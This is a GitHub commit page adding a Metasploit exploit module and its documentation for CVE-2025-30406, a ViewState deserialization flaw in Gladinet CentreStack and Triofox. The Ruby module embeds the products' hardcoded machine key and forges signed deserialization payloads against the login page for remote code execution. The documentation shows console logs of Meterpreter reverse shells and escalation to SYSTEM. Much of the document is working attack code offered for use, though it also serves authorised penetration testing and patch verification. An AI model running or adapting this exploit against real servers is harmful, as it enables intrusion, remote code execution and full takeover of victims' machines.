Skip to content

Commit ce6e0d1

Browse files
authored
Merge pull request rapid7#20096 from h00die-gr3y/CVE-2025-30406
Gladinet CentreStack/Triofox ASP.NET ViewState Deserialization [CVE-2025-30406]
2 parents cd63d65 + 2baabfa commit ce6e0d1

File tree

2 files changed

+272
-0
lines changed

2 files changed

+272
-0
lines changed
Lines changed: 110 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,110 @@
1+
## Vulnerable Application
2+
A vulnerability in Gladinet CentreStack and Triofox application using hardcoded cryptographic keys for ViewState
3+
could allow an attacker to forge ViewState data.
4+
This can lead to unauthorized actions such as remote code execution.
5+
Both applications make use of a hardcoded machineKey in the IIS web.config file, which is responsible for securing
6+
ASP.NET ViewState data. If an attacker obtains the machineKey, they can forge ViewState payloads that pass integrity checks.
7+
This can result in ViewState deserialization attacks, potentially leading to remote code execution (RCE) on the web server.
8+
9+
* Gladinet CentreStack versions up to 16.4.10315.56368 are vulnerable (fixed in 16.4.10315.56368).
10+
* Gladinet Triofox versions up to 16.4.10317.56372 are vulnerable (fixed in 16.4.10317.56372)
11+
12+
The following releases were tested.
13+
14+
**Gladinet CentreStack and Triofox:**
15+
* Gladinet CentreStack Build 16.1.10296.56315 on Windows Server 2019
16+
* Gladinet Triofox Build 16.1.10296.56315 on Windows Server 2019
17+
18+
## Installation steps to install Gladinet CentreStack or Triofox Enterprise Editions
19+
* Install your favorite virtualization engine (VMware or VirtualBox) on your preferred platform.
20+
* Here are the installation instructions for [VirtualBox on MacOS](https://tecadmin.net/how-to-install-virtualbox-on-macos/).
21+
* Download an evaluation Windows Server iso image (2016, 2019 or 2022) and install it as a VM on your virtualization engine.
22+
* Note: Google is your best friend on how to do this ;-)
23+
* Download the [Gladinet CentreStack gui installer](https://www.centrestack.com/p/gce_latest_release.html) or...
24+
* Download the [Gladinet Triofox gui installer](https://access.triofox.com/releases_history/).
25+
* Note: For Triofox, you will need a free trail account to reach the installer page.
26+
* Run the gui installer on your Windows VM.
27+
* Reboot your VM and you should be able to access the application via `https://your_ip/portal/loginpage.aspx`.
28+
29+
You are now ready to test the module.
30+
31+
## Verification Steps
32+
- [ ] Start `msfconsole`
33+
- [ ] `use exploit/windows/http/gladinet_viewstate_deserialization_cve_2025_30406`
34+
- [ ] `set rhosts <ip-target>`
35+
- [ ] `set rport <port>`
36+
- [ ] `set lhost <attacker-ip>`
37+
- [ ] `set target <0=Windows Command>`
38+
- [ ] `exploit`
39+
- [ ] you should get a `shell` or `Meterpreter` session depending on the `payload` and `target` settings
40+
41+
## Options
42+
No specific options defined for this module.
43+
44+
## Scenarios
45+
### Gladinet CentreStack Build 16.1.10296.56315 on Windows Server 2019 - Windows Command target
46+
```msf
47+
msf6 > use exploits/windows/http/gladinet_viewstate_deserialization_cve_2025_30406
48+
[*] No payload configured, defaulting to cmd/windows/http/x64/meterpreter/reverse_tcp
49+
msf6 exploit(windows/http/gladinet_viewstate_deserialization_cve_2025_30406) > set rhosts 192.168.201.5
50+
rhosts => 192.168.201.5
51+
msf6 exploit(windows/http/gladinet_viewstate_deserialization_cve_2025_30406) > rexploit
52+
[*] Reloading module...
53+
[*] Started reverse TCP handler on 192.168.201.8:4444
54+
[*] Running automatic check ("set AutoCheck false" to disable)
55+
[+] The target appears to be vulnerable. CentreStack (Build 16.1.10296.56315)
56+
[*] Executing Windows Command for cmd/windows/http/x64/meterpreter/reverse_tcp
57+
[*] Sending stage (203846 bytes) to 192.168.201.5
58+
[*] Meterpreter session 1 opened (192.168.201.8:4444 -> 192.168.201.5:49897) at 2025-05-02 20:36:56 +0000
59+
60+
meterpreter > getuid
61+
Server username: IIS APPPOOL\portal
62+
meterpreter > sysinfo
63+
Computer : WIN-BJDNH44EEDB
64+
OS : Windows Server 2019 (10.0 Build 17763).
65+
Architecture : x64
66+
System Language : en_US
67+
Domain : WORKGROUP
68+
Logged On Users : 2
69+
Meterpreter : x64/windows
70+
meterpreter > pwd
71+
c:\windows\system32\inetsrv
72+
meterpreter > getsystem
73+
...got system via technique 5 (Named Pipe Impersonation (PrintSpooler variant)).
74+
meterpreter > getuid
75+
Server username: NT AUTHORITY\SYSTEM
76+
meterpreter >
77+
```
78+
### Gladinet Triofox Build 16.1.10296.56315 on Windows Server 2019 - Windows Command target
79+
```msf
80+
msf6 exploit(windows/http/gladinet_viewstate_deserialization_cve_2025_30406) > set rhosts 192.168.201.6
81+
rhosts => 192.168.201.6
82+
msf6 exploit(windows/http/gladinet_viewstate_deserialization_cve_2025_30406) > rexploit
83+
[*] Reloading module...
84+
[*] Started reverse TCP handler on 192.168.201.8:4444
85+
[*] Running automatic check ("set AutoCheck false" to disable)
86+
[+] The target appears to be vulnerable. Triofox (Build 16.1.10296.56315)
87+
[*] Executing Windows Command for cmd/windows/http/x64/meterpreter/reverse_tcp
88+
[*] Sending stage (203846 bytes) to 192.168.201.6
89+
[*] Meterpreter session 4 opened (192.168.201.8:4444 -> 192.168.201.6:56815) at 2025-05-02 19:55:59 +0000
90+
91+
meterpreter > getuid
92+
Server username: IIS APPPOOL\portal
93+
meterpreter > sysinfo
94+
Computer : WIN-HHRQENPDSRS
95+
OS : Windows Server 2019 (10.0 Build 17763).
96+
Architecture : x64
97+
System Language : en_US
98+
Domain : EVIL
99+
Logged On Users : 14
100+
Meterpreter : x64/windows
101+
meterpreter > pwd
102+
c:\windows\system32\inetsrv
103+
meterpreter > getsystem
104+
...got system via technique 5 (Named Pipe Impersonation (PrintSpooler variant)).
105+
meterpreter > getuid
106+
Server username: NT AUTHORITY\SYSTEM
107+
meterpreter >
108+
```
109+
## Limitations
110+
No limitations identified.
Lines changed: 162 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,162 @@
1+
# This module requires Metasploit: https://metasploit.com/download
2+
# Current source: https://github.com/rapid7/metasploit-framework
3+
4+
require 'rex/exploit/view_state'
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
8+
Rank = ExcellentRanking
9+
10+
include Msf::Exploit::Remote::HttpClient
11+
prepend Msf::Exploit::Remote::AutoCheck
12+
13+
# base64 encoded machine key
14+
MACHINE_KEY = 'NTQ5NjgzMjI0MkNDMzIyOEUyOTJFRUZGQ0RBMDg5MTQ5RDc4OUUwQzREN0MxQTVEMDJCQzU0MkY3QzYyNzlCRTlERDc3MEM5RURENUQ2N0M2NkI3RTYyMTQxMUQzRTU3RUExODFCQkY4OUZEMjE5NTdEQ0RERkFDRkQ5MjZFMTY='.freeze
15+
16+
def initialize(info = {})
17+
super(
18+
update_info(
19+
info,
20+
'Name' => 'Gladinet CentreStack/Triofox ASP.NET ViewState Deserialization',
21+
'Description' => %q{
22+
A vulnerability in Gladinet CentreStack and Triofox application using hardcoded
23+
cryptographic keys for ViewState could allow an attacker to forge ViewState data.
24+
This can lead to unauthorized actions such as remote code execution.
25+
Both applications make use of a hardcoded machineKey in the IIS web.config file,
26+
which is responsible for securing ASP.NET ViewState data. If an attacker obtains
27+
the machineKey, they can forge ViewState payloads that pass integrity checks.
28+
This can result in ViewState deserialization attacks, potentially leading to
29+
remote code execution (RCE) on the web server.
30+
31+
Gladinet CentreStack versions up to 16.4.10315.56368 are vulnerable (fixed in 16.4.10315.56368).
32+
Gladinet Triofox versions up to 16.4.10317.56372 are vulnerable (fixed in 16.4.10317.56372).
33+
NOTE: There are other rebranded services that might be vulnerable and can be detected by this module.
34+
},
35+
'Author' => [
36+
'Huntress Team', # discovery and detailed vulnerability write up
37+
'H00die Gr3y' # this metasploit module
38+
],
39+
'License' => MSF_LICENSE,
40+
'References' => [
41+
['CVE', '2025-30406'],
42+
['URL', 'https://www.huntress.com/blog/cve-2025-30406-critical-gladinet-centrestack-triofox-vulnerability-exploited-in-the-wild'],
43+
['URL', 'https://attackerkb.com/topics/7ebXn71J6O/cve-2025-30406']
44+
],
45+
'Platform' => 'win',
46+
'Targets' => [
47+
[
48+
'Windows Command',
49+
{
50+
'Arch' => ARCH_CMD,
51+
'Type' => :windows_command
52+
}
53+
]
54+
],
55+
'DefaultOptions' => {
56+
'RPORT' => 443,
57+
'SSL' => true
58+
},
59+
'DefaultTarget' => 0,
60+
'DisclosureDate' => '2025-04-03',
61+
'Notes' => {
62+
'Stability' => [CRASH_SAFE],
63+
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
64+
'Reliability' => [REPEATABLE_SESSION]
65+
},
66+
'Privileged' => false
67+
)
68+
)
69+
70+
register_options([
71+
OptString.new('TARGETURI', [ true, 'The base path to the Gladinet CentreStack or Triofox application', '/' ])
72+
])
73+
end
74+
75+
def execute_command(cmd, _opts = {})
76+
# get the __VIEWSTATEGENERATOR value from the vulnerable page
77+
res = send_request_cgi({
78+
'method' => 'GET',
79+
'uri' => normalize_uri(target_uri.path, 'portal', 'loginpage.aspx')
80+
})
81+
unless res&.code == 200
82+
fail_with(Failure::UnexpectedReply, 'Non-200 HTTP response received while trying to get the __VIEWSTATEGENERATOR value.')
83+
end
84+
85+
html = res.get_html_document
86+
if html
87+
# html identifier for the __VIEWSTATEGENERATOR: <input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR" value="3FE2630A" />
88+
generator = html.css('input#__VIEWSTATEGENERATOR')[0]['value']
89+
viewstate_generator = [generator.to_i(16)].pack('V') unless generator.nil?
90+
else
91+
viewstate_generator = ['3FE2630A'.to_i(16)].pack('V')
92+
end
93+
94+
output_format = 'raw'
95+
viewstate_validation_algorithm = 'SHA256'
96+
viewstate_validation_key = [Base64.strict_decode64(MACHINE_KEY)].pack('H*')
97+
98+
serialized = ::Msf::Util::DotNetDeserialization.generate(
99+
cmd,
100+
gadget_chain: :TextFormattingRunProperties,
101+
formatter: :LosFormatter
102+
)
103+
104+
serialized = Rex::Exploit::ViewState.generate_viewstate(
105+
serialized,
106+
extra: viewstate_generator,
107+
algo: viewstate_validation_algorithm,
108+
key: viewstate_validation_key
109+
)
110+
transformed = ::Msf::Simple::Buffer.transform(serialized, output_format)
111+
vprint_status(transformed.to_s)
112+
113+
res = send_request_cgi({
114+
'method' => 'POST',
115+
'uri' => normalize_uri(target_uri.path, 'portal', 'loginpage.aspx'),
116+
'vars_post' => {
117+
'__LASTFOCUS' => '',
118+
'__VIEWSTATE' => transformed.to_s
119+
}
120+
})
121+
unless res&.code == 302
122+
fail_with(Failure::UnexpectedReply, 'Non-302 HTTP response received while trying to execute the payload.')
123+
end
124+
end
125+
126+
def check
127+
res = send_request_cgi({
128+
'method' => 'GET',
129+
'uri' => normalize_uri(target_uri.path, 'portal', 'loginpage.aspx')
130+
})
131+
return CheckCode::Safe('Failed to identify that Gladinet CentreStack/Triofox or similar service is running.') unless res&.code == 200 && res.body.include?('id="__VIEWSTATEGENERATOR" value="3FE2630A"')
132+
133+
if res.body.include?('CentreStack')
134+
check_app = 'CentreStack'
135+
elsif res.body.include?('Triofox')
136+
check_app = 'Triofox'
137+
else
138+
check_app = 'Unknown'
139+
end
140+
141+
build = res.body.match(/\(Build\s*.*\)/)
142+
unless build.nil?
143+
version = build[0].gsub(/[[:space:]]/, '').split('Build')[1].chomp(')')
144+
rex_version = Rex::Version.new(version)
145+
if check_app == 'CentreStack'
146+
return CheckCode::Appears("Service #{check_app} (Build #{version})") if rex_version < Rex::Version.new('16.4.10315.56368')
147+
elsif check_app == 'Triofox'
148+
return CheckCode::Appears("Service #{check_app} (Build #{version})") if rex_version < Rex::Version.new('16.4.10317.56372')
149+
elsif check_app == 'Unknown'
150+
return CheckCode::Detected("Service #{check_app} (Build #{version})") if rex_version < Rex::Version.new('16.4.10317.56372')
151+
end
152+
return CheckCode::Safe("Service #{check_app} (Build #{version})")
153+
end
154+
155+
CheckCode::Detected("Service #{check_app} (Build not detected)")
156+
end
157+
158+
def exploit
159+
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
160+
execute_command(payload.encoded)
161+
end
162+
end

0 commit comments

Comments
 (0)